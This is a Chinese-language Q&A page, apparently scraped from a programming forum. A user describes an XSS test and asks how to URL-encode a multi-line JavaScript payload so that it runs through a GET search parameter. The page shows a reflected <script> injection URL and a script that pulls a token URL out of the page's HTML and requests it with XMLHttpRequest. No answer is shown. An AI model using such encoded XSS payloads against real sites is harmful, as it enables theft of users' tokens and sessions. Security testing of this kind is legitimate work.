首页 > 解决方案 > JS 脚本如何正确编码以在 URL 中作为 GET 运行

问题描述

我正在做一个 XSS 测试并且已经有一个有效的 JS 解决方案,但是,我在如何正确编码和转义脚本以按预期在浏览器中运行方面有点错误。

假设我发现了一个XSS需要用 JS 代码替换的漏洞:

http://vulnerablewebsite.net/?search=<script>XSS</script>

显然,一个简单的<script>alert(1);<script>就可以了。但是更复杂的脚本呢,比如:

var url = document.body.outerHTML.match(/http:\/\/blabla\.net\/\?token=([a-zA-Z]|[0-9])*/)[0];
var request = new XMLHttpRequest();
request.open("GET", url);
request.setRequestHeader("X-Test","test1");

我明白这一点"并且'需要转义以避免遇到 PHP 语法错误,但是换行符、空格等呢?

标签: javascriptphpurl

解决方案


推荐阅读